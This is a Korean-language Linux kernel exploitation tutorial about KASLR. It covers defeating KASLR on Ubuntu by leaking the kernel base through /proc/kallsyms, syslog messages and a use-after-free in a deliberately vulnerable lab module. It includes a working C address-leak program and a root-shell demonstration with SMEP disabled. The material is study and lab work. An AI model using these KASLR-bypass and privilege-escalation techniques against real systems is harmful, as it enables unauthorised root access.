Excuse the ads! We need some help to keep our site up.
List
01. KASLR(Kernel Address Space Layout Randomization)
- KASLR(Kernel Address Space Layout Randomization)는 커널의 기본 주소 값을 무작위로 만들어 커널 공격을 구현하기 어렵게 만드는 기능입니다.
- 커널 메모리의 위치는 공격을 성공적으로 수행하는 데 도움이 되므로 위치를 무작위로 만드는 것은 Exploit의 구현을 어렵게 합니다.
- KASLR이 적용된 환경에서 익스플로잇을 하기 위해서는 랜덤화 된 커널의 기본 주소를 찾아야합니다.
Enable and Disable of KASLR
- KASLR에 대한 테스트를 진행하기 위해 사용될 시스템의 환경은 다음과 같습니다.
lazenca0x0@ubuntu:~$ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial lazenca0x0@ubuntu:~$ uname -a Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux lazenca0x0@ubuntu:~$
KASLR is not set
- KASLR을 비활성화 하기 위해 다음과 같이 설정합니다.
- "/etc/default/grub" 파일의 "GRUB_CMDLINE_LINUX_DEFAULT"의 값으로 "nokaslr"을 추가합니다.
# If you change this file, run 'update-grub' afterwards to update # /boot/grub/grub.cfg. # For full documentation of the options in this file, see: # info -f grub -n 'Simple configuration' GRUB_DEFAULT=0 GRUB_TIMEOUT_STYLE=hidden GRUB_TIMEOUT=0 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr" GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US" ...
"sudo update-grub" 명령을 실행하여 수정된 내용을 시스템에 반영합니다.
lazenca0x0@ubuntu:~$ sudo update-grub Generating grub configuration file ... Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported. Found linux image: /boot/vmlinuz-4.4.0-31-generic Found initrd image: /boot/initrd.img-4.4.0-31-generic Found memtest86+ image: /boot/memtest86+.elf Found memtest86+ image: /boot/memtest86+.bin done lazenca0x0@ubuntu:~$
- 다음과 같이 커널 함수의 주소를 확인 할 수 있습니다.
- KASLR을 비활성화했기 때문에 시스템이 재부팅되어도 커널 함수의 주소가 변경되지 않습니다.
- 첫번째 재부팅 후 "prepare_kernel_cred" 의 주소 : ffffffff810a2890
- 두번째 재부팅 후 "prepare_kernel_cred" 의 주소 : ffffffff810a2890
- KASLR을 비활성화했기 때문에 시스템이 재부팅되어도 커널 함수의 주소가 변경되지 않습니다.
lazenca0x0@ubuntu:~$ sudo reboot $ ssh lazenca0x0@192.168.0.13 lazenca0x0@192.168.0.13's password: lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffff810a2890 T prepare_kernel_cred ffffffff81d881d0 R __ksymtab_prepare_kernel_cred ffffffff81da35b0 r __kcrctab_prepare_kernel_cred ffffffff81db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$ lazenca0x0@ubuntu:~$ sudo reboot $ ssh lazenca0x0@192.168.0.13 lazenca0x0@192.168.0.13's password: lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffff810a2890 T prepare_kernel_cred ffffffff81d881d0 R __ksymtab_prepare_kernel_cred ffffffff81da35b0 r __kcrctab_prepare_kernel_cred ffffffff81db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$
Set KASLR
- KASLR을 활성화 하기 위해 다음과 같이 설정합니다.
- "/etc/default/grub" 파일의 "GRUB_CMDLINE_LINUX_DEFAULT"의 값으로 "nokaslr"을 제거하고 "kaslr"을 입력합니다.
# If you change this file, run 'update-grub' afterwards to update # /boot/grub/grub.cfg. # For full documentation of the options in this file, see: # info -f grub -n 'Simple configuration' GRUB_DEFAULT=0 GRUB_TIMEOUT_STYLE=hidden GRUB_TIMEOUT=0 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT="quiet kaslr" GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US" ...
Ubuntu 14.04
- kASLR은 Ubuntu 14.10부터 사용할 수 있지만 기본적으로 활성화되어 있지 않습니다.
- kaslr을 사용하려면 커널 명령 행에 "kaslr"옵션을 지정하십시오.
- 참고 : kASLR을 활성화하면 최대 절전 모드로 전환하는 기능이 비활성화됩니다.
- "sudo update-grub" 명령을 실행하여 수정된 내용을 시스템에 반영합니다.
lazenca0x0@ubuntu:~$ sudo update-grub Generating grub configuration file ... Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported. Found linux image: /boot/vmlinuz-4.4.0-31-generic Found initrd image: /boot/initrd.img-4.4.0-31-generic Found memtest86+ image: /boot/memtest86+.elf Found memtest86+ image: /boot/memtest86+.bin done lazenca0x0@ubuntu:~$
- 다음과 같이 커널 함수의 주소를 확인 할 수 있습니다.
KASLR을 활성화했기 때문에 시스템이 재부팅될 때마다 커널 함수의 주소가 변경됩니다.
- 첫번째 재부팅 후 "prepare_kernel_cred" 의 주소 : ffffffff840a2890
- 두번째 재부팅 후 "prepare_kernel_cred" 의 주소 : ffffffff9f0a2890
lazenca0x0@ubuntu:~$ sudo reboot $ ssh lazenca0x0@192.168.0.13 lazenca0x0@192.168.0.13's password: lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffff840a2890 T prepare_kernel_cred ffffffff84d881d0 R __ksymtab_prepare_kernel_cred ffffffff84da35b0 r __kcrctab_prepare_kernel_cred ffffffff84db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$ lazenca0x0@ubuntu:~$ sudo reboot $ ssh lazenca0x0@192.168.0.13 lazenca0x0@192.168.0.13's password: lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffff9f0a2890 T prepare_kernel_cred ffffffff9fd881d0 R __ksymtab_prepare_kernel_cred ffffffff9fda35b0 r __kcrctab_prepare_kernel_cred ffffffff9fdb01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$
How to find the memory address of kernel.
이번장에서는 공격자가 Kernel의 기본주소를 어떻게 얻을수 있는지 알아보겠습니다.
Use the vmlinux file
다음과 같이 KASLR이 적용되지 않은 환경에서는 리눅스 커널 이미지인 "vmlinux" 파일을 이용하여 Kernel 함수들의 주소를 찾을 수 있습니다.
readelf 명령어를 이용하여 "vmlinux" 파일에서 prepare_kernel_cred 함수의 주소를 찾을 수 있습니다.
"/proc/kallsyms" 파일에서 찾은 prepare_kernel_cred 함수의 주소 값이 "vmlinux" 파일에서 찾은 값과 동일한 것을 확인 할 수 있습니다.
"vmlinux" 파일 : 0xffffffff810a2890
- "/proc/kallsyms" 파일 : 0xffffffff810a2890
- 하지만 최신의 Kernel들은 기본적으로 KASLR을 지원하고 있기 때문에 "vmlinux" 파일에서 찾은 커널 함수들의 주소를 공격에 활용하기 어렵습니다.
lazenca0x0@ubuntu:~$ readelf -s /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep prepare_kernel_cred 92759: 00000000f1f7ede6 0 NOTYPE GLOBAL DEFAULT ABS __crc_prepare_kernel_cred 97668: ffffffff810a2890 86 FUNC GLOBAL DEFAULT 1 prepare_kernel_cred lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffff810a2890 T prepare_kernel_cred ffffffff81d881d0 R __ksymtab_prepare_kernel_cred ffffffff81da35b0 r __kcrctab_prepare_kernel_cred ffffffff81db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$
- 그렇다고 해서 "vmlinux" 파일의 활용가치가 전혀 없는 것은 아닙니다.
- 유저영역의 시스템 공격을 배울때 Gadget의 주소를 찾기 libc의 기본 주소에 Gadget의 offset 값을 더해서 정확한 Gadget의 주소를 찾아 공격에 활용하였습니다.
- 공격자는 "vmlinux" 파일을 이용하여 공격할 Kernel 버전에 맞는 커널 함수의 offset 값을 얻을수 있습니다.
- 다음과 같이 Kernel 함수의 offset 값을 확인 할 수 있습니다.
- readelf 명령어를 이용하여 공격에 사용할 커널 함수의 주소(0xffffffff810a2890)를 확인합니다.
lazenca0x0@ubuntu:~$ readelf -s /usr/lib/debug/boot/vmlinux-4.4.0-31-generic |grep prepare_kernel_cred 92759: 00000000f1f7ede6 0 NOTYPE GLOBAL DEFAULT ABS __crc_prepare_kernel_cred 97668: ffffffff810a2890 86 FUNC GLOBAL DEFAULT 1 prepare_kernel_cred lazenca0x0@ubuntu:~$
offset값을 계산하기 위해 프로그램 코드 명령어가 저장되어 있는 .text 섹션의 시작 주소가 필요합니다.
readelf 명령어를 이용하여 .text 영역의 시작 주소(0xffffffff81000000)를 확인 합니다.
lazenca0x0@ubuntu:~$ readelf -S /usr/lib/debug/boot/vmlinux-4.4.0-31-generic There are 76 section headers, starting at offset 0x186adba8: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .text PROGBITS ffffffff81000000 00200000 00000000008329c6 0000000000000000 AX 0 0 4096 [ 2] .rela.text RELA 0000000000000000 0b236e38 00000000006133b0 0000000000000018 I 74 1 8 [ 3] .notes NOTE ffffffff818329c8 00a329c8 0000000000000204 0000000000000000 AX 0 0 4 [ 4] .rela.notes RELA 0000000000000000 0b84a1e8 0000000000000030 0000000000000018 I 74 3 8 [ 5] __ex_table PROGBITS ffffffff81832bd0 00a32bd0 00000000000020c8 0000000000000000 A 0 0 8 [ 6] .rela__ex_table RELA 0000000000000000 0b84a218 000000000000c4b0 0000000000000018 I 74 5 8 [ 7] .rodata PROGBITS ffffffff81a00000 00c00000 00000000003700a2 0000000000000000 A 0 0 64 [ 8] .rela.rodata RELA 0000000000000000 0b8566c8 00000000002c7dc8 0000000000000018 I 74 7 8 ... [73] .shstrtab STRTAB 0000000000000000 186ad918 000000000000028f 0000000000000000 0 0 1 [74] .symtab SYMTAB 0000000000000000 0add78a0 00000000002647e0 0000000000000018 75 66628 8 [75] .strtab STRTAB 0000000000000000 0b03c080 00000000001fadb7 0000000000000000 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), l (large) I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown) O (extra OS processing required) o (OS specific), p (processor specific) lazenca0x0@ubuntu:~$
이렇게 수집된 정보들을 이용하여 다음과같이 커널 함수의 offset 값을 얻을 수 있습니다.
prepare_kernel_cred 함수의 주소(0xffffffff810a2890) - .text 섹션의 시작 주소(0xffffffff81000000) = 0xa2890
gdb-peda$ p 0xffffffff810a2890 - 0xffffffff81000000 $1 = 0xa2890 gdb-peda$
Use the "/proc/kallsyms" file
- 공격자는 시스템의 설정에 따라 "/proc/kallsyms" 파일을 통해 커널 함수의 주소를 확인할 수 있습니다.
- 해당 파일에는 다양한 커널 기능 장치 간의 협력을 보다 쉽게하기 위해 수천 개의 전역 심볼이 기록되어 관리되고 있습니다.
- 그리고 02.Debugging kernel and modules - Kernel Address Display Restriction(KADR)에서 설명 했지만, Kernel Address Display Restriction(KADR)이 비활성화 되어 있으면 일반 계정으로도 /proc/kallsyms 파일을 이용하여 심볼의 주소 정보를 확인할 수 있습니다.
- 다음과 같이 kernel.kptr_restrict 설정값에 의해 일반 계정으로는 "/proc/kallsyms" 파일에서 심볼의 주소 정보를 확인할 수 없습니다.
lazenca0x0@ubuntu:~$ sysctl kernel.kptr_restrict kernel.kptr_restrict = 1 lazenca0x0@ubuntu:~$ sudo cat /proc/kallsyms |grep prepare_kernel_cred ffffffff8b0a2890 T prepare_kernel_cred ffffffff8bd881d0 R __ksymtab_prepare_kernel_cred ffffffff8bda35b0 r __kcrctab_prepare_kernel_cred ffffffff8bdb01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$ cat /proc/kallsyms |grep prepare_kernel_cred 0000000000000000 T prepare_kernel_cred 0000000000000000 R __ksymtab_prepare_kernel_cred 0000000000000000 r __kcrctab_prepare_kernel_cred 0000000000000000 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$
- 다음과 같이 kernel.kptr_restrict 설정값이 0일 경우 일반 계정으로 "/proc/kallsyms" 파일에서 심볼의 주소 정보를 확인할 수 있습니다.
- KASLR이 설정된 환경에서도 일반 계정으로 심볼의 주소 정보를 확인할 수 있습니다.
lazenca0x0@ubuntu:~$ sysctl kernel.kptr_restrict kernel.kptr_restrict = 0 lazenca0x0@ubuntu:~$ cat /proc/kallsyms |grep prepare_kernel_cred ffffffff8b0a2890 T prepare_kernel_cred ffffffff8bd881d0 R __ksymtab_prepare_kernel_cred ffffffff8bda35b0 r __kcrctab_prepare_kernel_cred ffffffff8bdb01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~$
Example - Use the "/proc/kallsyms" file
- KASLR이 적용되어 있고 kernel.kptr_restrict 설정값이 0인 환경에서 "/proc/kallsyms"파일을 이용해 공격해보겠습니다.
- 해당 테스트를 위해 02.Stack smashing(64bit) & Return-to-user(ret2usr)에서 사용한 커널 모듈과 exploit code를 사용합니다.
- 우선 테스트를 위해 다음과 같이 커널의 설정을 변경합니다.
- "/etc/default/grub" 파일의 "GRUB_CMDLINE_LINUX_DEFAULT" 영역에 아래 명령들을 추가합니다.
- SMEP 비활성화 : nosmep
- KASLR 활성화 : kaslr
- "/etc/default/grub" 파일의 "GRUB_CMDLINE_LINUX_DEFAULT" 영역에 아래 명령들을 추가합니다.
# If you change this file, run 'update-grub' afterwards to update # /boot/grub/grub.cfg. # For full documentation of the options in this file, see: # info -f grub -n 'Simple configuration' GRUB_DEFAULT=0 GRUB_HIDDEN_TIMEOUT=0 GRUB_HIDDEN_TIMEOUT_QUIET=true GRUB_TIMEOUT=10 GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` GRUB_CMDLINE_LINUX_DEFAULT="quiet nosmep kaslr" GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US" # Uncomment to enable BadRAM filtering, modify to suit your needs # This works with Linux (no patch required) and with any kernel that obtains # the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...) #GRUB_BADRAM="0x01234567,0xfefefefe,0x89abcdef,0xefefefef" # Uncomment to disable graphical terminal (grub-pc only) #GRUB_TERMINAL=console # The resolution used on graphical terminal # note that you can use only modes which your graphic card supports via VBE # you can see them in real GRUB with the command `vbeinfo' #GRUB_GFXMODE=640x480 # Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux #GRUB_DISABLE_LINUX_UUID=true # Uncomment to disable generation of recovery mode menu entries #GRUB_DISABLE_RECOVERY="true" # Uncomment to get a beep at grub start #GRUB_INIT_TUNE="480 440 1"
- "sudo update-grub" 명령을 실행하여 수정된 내용을 시스템에 반영합니다.
lazenca0x0@ubuntu:~$ sudo update-grub Generating grub configuration file ... Warning: Setting GRUB_TIMEOUT to a non-zero value when GRUB_HIDDEN_TIMEOUT is set is no longer supported. Found linux image: /boot/vmlinuz-4.4.0-31-generic Found initrd image: /boot/initrd.img-4.4.0-31-generic Found memtest86+ image: /boot/memtest86+.elf Found memtest86+ image: /boot/memtest86+.bin done lazenca0x0@ubuntu:~$ reboot
- 다음과 같이 취약서이 존재하는 커널 모듈을 등록하고 Exploit code를 실행하면, KASLR이 설정된 환경에서도 root권한을 획득할 수 있습니다.
- 권한 획득이 가능한 이유는 kernel.kptr_restrict 설정값이 0이었기 때문에 일반권한으로 실행된 프로그램이 "/proc/kallsyms" 파일에서 exploit에 필요한 커널 함수의 주소 정보를 확인할 수 있었기 때문입니다.
lazenca0x0@ubuntu:~/Exploit/ss$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Exploit/ss$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Exploit/ss$ ./exploit commit_creds address is :0xffffffff9f0a24a0 prepare_kernel_cred address is :0xffffffff9f0a2890 53 41 57 20 43 54 46 20 63 68 61 6c 6c 65 6e 67 | SAW CTF challeng 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | f7 ce 78 4c 00 00 00 00 a0 2c 6c 00 00 00 00 00 | ��xL�,l # id uid=0(root) gid=0(root) groups=0(root) #
Address leak of the kernel using Syslog.
Ubuntu trusty 4.4.0-* 와 Ubuntu xenial 4-8-0-* 커널들의 경우 Syslog를 통해 Kernel 메모리 주소를 확인 할 수 있습니다.
커널에는 부팅될 때만 사용하는 함수와 변수들이 있으며, 이러한 함수와 변수는 부팅 이후 커널이 동작하는 동안에는 필요치 않기 때문에 커널의 부팅이 끝날 때 init 쓰레드가 실행되는 과정에서 free_initmem() 함수를 통해 해제됩니다.
- 이러한 과정에서 다음과 같은 메시지가 출력되며, 해당 메시지에서 커널의 주소를 확인할 수 있습니다.
[ 1.003469] Freeing unused kernel memory: 1480K (ffffffff90f42000 - ffffffff910b4000)
lazenca0x0@ubuntu:~/Exploit$ dmesg |grep "Freeing unused" [ 1.075925] Freeing unused kernel memory: 1480K (ffffffffa9f42000 - ffffffffaa0b4000) [ 1.076181] Freeing unused kernel memory: 1836K (ffff880029835000 - ffff880029a00000) [ 1.076435] Freeing unused kernel memory: 156K (ffff880029dd9000 - ffff880029e00000) lazenca0x0@ubuntu:~/Exploit$
syslog를 통해 얻은 커널의 주소를 활용하기 위해 다음과 같이 offset 값을 알아야합니다.
/proc/kallsyms 파일을 이용하여 커널의 기본주소를 확인합니다.
prepare_kernel_cred 함수의 주소(0xffffffffa90a2890) - prepare_kernel_cred 함수의 offset 값(0xa2890) = 커널의 기본주소 (0xffffffffa9000000)
syslog를 통해 얻은 커널의 주소(0xffffffffaa0b4000) - 커널의 기본주소 (0xffffffffa9000000) = offset 값(0x10b4000)
lazenca0x0@ubuntu:~/Exploit$ sudo cat /proc/kallsyms |grep prepare_kernel_cred [sudo] password for lazenca0x0: ffffffffa90a2890 T prepare_kernel_cred ffffffffa9d881d0 R __ksymtab_prepare_kernel_cred ffffffffa9da35b0 r __kcrctab_prepare_kernel_cred ffffffffa9db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~/Exploit$ gdb -q gdb-peda$ p 0xffffffffa90a2890 - 0xa2890 $1 = 0xffffffffa9000000 gdb-peda$ p 0xffffffffaa0b4000 - 0xffffffffa9000000 $2 = 0x10b4000 gdb-peda$
- 다음과 같이 syslog를 이용하여 커널의 기본 주소를 확인할 수 있습니다.
- syslog를 통해 얻은 커널의 주소(0xffffffffb30b4000) - offset 값(0x10b4000) = 커널의 기본주소 (0xffffffffb2000000)
lazenca0x0@ubuntu:~$ dmesg |grep "Freeing unused" [ 1.279612] Freeing unused kernel memory: 1480K (ffffffffb2f42000 - ffffffffb30b4000) [ 1.279850] Freeing unused kernel memory: 1836K (ffff880032835000 - ffff880032a00000) [ 1.280087] Freeing unused kernel memory: 156K (ffff880032dd9000 - ffff880032e00000) lazenca0x0@ubuntu:~$ gdb -q gdb-peda$ p 0xffffffffb30b4000 - 0x10b4000 $1 = 0xffffffffb2000000 gdb-peda$
- 다음과 같이 코드를 작성하여 조금더 쉽게 커널의 기본 주소를 확인 할 수 있습니다.
- get_syslog() 함수를 이용하여 커널 코드의 내용을 읽어 메모리에 저장합니다.
- klogctl() 함수를 이용하여 커널 로그 버터의 총 크기를 확인합니다.
- mmap() 함수를 이용하여 커널 로그를 저장할 메모리 영역을 할당합니다.
- klogctl() 함수를 이용하여 ring buffer에 남아있는 모든 메시지를 읽어서 buffer 영역에 저장합니다.
- get_kernel_addr() 함수를 이용하여 syslog에서 커널의 주소를 찾고, 해당 주소를 이용하여 커널의 기본주소를 계산하여 리턴합니다.
- memmem() 함수를 이용하여 커널 로그에서 "Freeing unused kernel memory"를 찾아서 문자열의 시작 부분에 대한 포인터를 substr변수에 저장합니다.
- strchr(), strrchr() 함수를 이용하여 커널 기본 주소를 계산할 때 사용할 커널 주소 값의 시작과 끝의 위치 값을 확인합니다.
- memmem() 함수를 이용하여 substr 영역에서 "ffffffff"를 찾아서 문자열의 시작 부분에 대한 포인터를 substr변수에 저장합니다.
- strtoul() 함수를 이용하여 커널 함수의 주소 값만을 문자열에서 숫자로 변환하여, addr 변수에 저장합니다.
- get_syslog() 함수를 이용하여 커널 코드의 내용을 읽어 메모리에 저장합니다.
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/klog.h> #include <sys/mman.h> #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 void get_syslog(char **buffer, int *size){ *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if(*size == -1){ perror("Error"); } int pagesize = getpagesize(); *size = (*size / pagesize + 1) * pagesize; *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); if (*size == -1) { perror("Error"); } } unsigned long get_kernel_addr (char *buffer, int size){ const char *needle = "Freeing unused kernel memory"; char* substr = (char*)memmem(&buffer[0], size, needle, strlen(needle)); if (substr == NULL) { printf("%s not found\n", needle); } int start = 0; int end = 0; start = strchr(substr,'-') - substr; end = strrchr(substr,'\n') - substr; const char *needle2 = "ffffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); exit(EXIT_FAILURE); } char *endptr = &substr[16]; unsigned long addr = strtoul(&substr[0], &endptr, 16); addr -= 0x10b4000ul; return addr; } void main(){ char *syslog; int size; get_syslog(&syslog, &size); unsigned long is_kernel_base_addr = get_kernel_addr(syslog, size); printf("The base address of the kernel is '0x%lx'\n", is_kernel_base_addr); }
- 다음과 같이 프로그램을 통해 간단히 커널의 기본주소를 확인할 수 있습니다.
lazenca0x0@ubuntu:~/Exploit$ gcc -o addr addr.c lazenca0x0@ubuntu:~/Exploit$ ./addr The base address of the kernel is '0xffffffffa9000000' lazenca0x0@ubuntu:~/Exploit$
- 하지만 이러한 취약성은 Ubuntu bionic 5.0.0 에서 수정되었습니다.
... [ 2.590928] rtc_cmos 00:01: setting system clock to 2019-09-26 09:46:58 UTC (1569491218) [ 2.702268] Freeing unused kernel image memory: 2456K [ 2.716264] Write protecting the kernel read-only data: 20480k [ 2.717033] Freeing unused kernel image memory: 2008K [ 2.717427] Freeing unused kernel image memory: 1900K [ 2.724026] x86/mm: Checked W+X mappings: passed, no W+X pages found. ...
Address leak of the kernel using vulnerability.
다음과 같이 취약성을 통해 Kernel 주소 정보를 얻을 수 있습니다.
설명을 위해 07.Use-After-Free(UAF) (feat.tty_struct)에서 사용한 커널 모듈 및 PoC코드을 이용하겠습니다.
커널 모듈을 등록하고 PoC-3 파일을 실행하면, 취약성에 의해 메모리에 저장된 데이터가 출력됩니다.
출력된 데이터 중에서 2번째 줄에 "c0 2c a7 a0 ff ff ff ff"이라는 데이터가 존재합니다
- 이 데이터를 커널 주소의 형태로 변경하면 0xffffffff87a72cc0이가 되고, 이 값은 커널 영역의 주소입니다.
공격자는 이 주소(0xffffffff87a72cc0)를 이용하여 커널의 기본 주소를 계산할 수 있습니다.
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo rmmod chardev lazenca0x0@ubuntu:~/Exploit/uaf$ sudo insmod ./chardev.ko lazenca0x0@ubuntu:~/Exploit/uaf$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Exploit/uaf$ ./PoC-3 01 54 00 00 01 00 00 00 00 00 00 00 00 00 00 00 | T 00 be 00 35 00 88 ff ff c0 2c a7 87 ff ff ff ff | �5����,������ 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 38 28 cd 38 00 88 ff ff | 8(�8��� 38 28 cd 38 00 88 ff ff 48 28 cd 38 00 88 ff ff | 8(�8���H(�8��� 48 28 cd 38 00 88 ff ff 30 90 8b 39 00 88 ff ff | H(�8���0��9��� 01 00 00 00 00 00 00 00 68 28 cd 38 00 88 ff ff | h(�8��� 68 28 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00 | h(�8��� 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 | 90 28 cd 38 00 88 ff ff 90 28 cd 38 00 88 ff ff | �(�8����(�8��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 00 00 00 00 00 00 00 b8 28 cd 38 00 88 ff ff | �(�8��� b8 28 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00 | �(�8��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | e0 28 cd 38 00 88 ff ff e0 28 cd 38 00 88 ff ff | �(�8����(�8��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 00 00 00 00 00 00 00 08 29 cd 38 00 88 ff ff | )�8��� 08 29 cd 38 00 88 ff ff 00 00 00 00 00 00 00 00 |)�8��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 bf 00 00 00 00 00 00 00 | � 00 03 1c 7f 15 04 00 01 00 11 13 1a 00 12 0f 17 | 16 00 00 00 00 96 00 00 00 96 00 00 00 00 00 00 | �� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 70 74 6d 34 00 00 00 00 00 00 00 00 00 00 00 00 | ptm4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 01 08 01 00 00 00 00 00 01 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 00 a0 d2 39 00 88 ff ff | ��9��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 38 2a cd 38 00 88 ff ff | 8*�8��� 38 2a cd 38 00 88 ff ff 00 00 00 00 00 00 00 00 | 8*�8��� 50 2a cd 38 00 88 ff ff 50 2a cd 38 00 88 ff ff | P*�8���P*�8��� e0 ff ff ff 0f 00 00 00 68 2a cd 38 00 88 ff ff | ����h*�8��� 68 2a cd 38 00 88 ff ff 50 96 4e 87 ff ff ff ff | h*�8���P�N����� 00 c0 36 00 00 c9 ff ff 98 5c 57 3b 00 88 ff ff | �6����\W;��� d0 6b 1f 30 00 88 ff ff d0 6b 1f 30 00 88 ff ff | �k0����k0��� 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 e0 ff ff ff 0f 00 00 00 | ���� c0 2a cd 38 00 88 ff ff c0 2a cd 38 00 88 ff ff | �*�8����*�8��� d0 b6 4e 87 ff ff ff ff 00 12 6d 32 00 88 ff 00 | жN�����m2�� lazenca0x0@ubuntu:~/Exploit/uaf$
- 커널의 기본 주소를 얻기 위해서는 취약성으로 통해 유출된 주소가 커널의 기본주소와 얼마나 떨어져 있는지 offset값을 알아야 합니다.
- offset 값을 확인하기 위해 우선 커널의 기본주소를 알아야 합니다.
- prepare_kernel_cred(0xffffffff870a2890) - 커널의 기본주소로 부터 prepare_kernel_cred 함수 까지의 offset(0xa2890) = 0xffffffff87000000
- 이렇게 알게 된 커널의 기본 주소를 이용하여 유출된 주소가 커널의 기본 주소로 부터 얼마나 떨어져 있는지 알 수 있습니다.
- 취약성을 통해 유출된 커널의 주소(0xffffffff87a72cc0) - 커널의 기본 주소(0xffffffff87000000) = 0xa72cc0
- offset 값을 확인하기 위해 우선 커널의 기본주소를 알아야 합니다.
lazenca0x0@ubuntu:~/Exploit/uaf$ sudo cat /proc/kallsyms |grep prepare_kernel_cred ffffffff870a2890 T prepare_kernel_cred ffffffff87d881d0 R __ksymtab_prepare_kernel_cred ffffffff87da35b0 r __kcrctab_prepare_kernel_cred ffffffff87db01e7 r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~/Exploit/uaf$ gdb -q gdb-peda$ p 0xffffffff870a2890 - 0xa2890 $1 = 0xffffffff87000000 gdb-peda$ p 0xffffffff87a72cc0 - 0xffffffff87000000 $2 = 0xa72cc0 gdb-peda$
- 우선 앞에서 계산한 offset 값(0xa72cc0)을 검증하기 위해 다음과 같이 시스템을 reboot하고 다시 커널의 주소를 유출합니다.
- 이번에 유출된 커널의 주소는 0xffffffffa9a72cc0입니다.
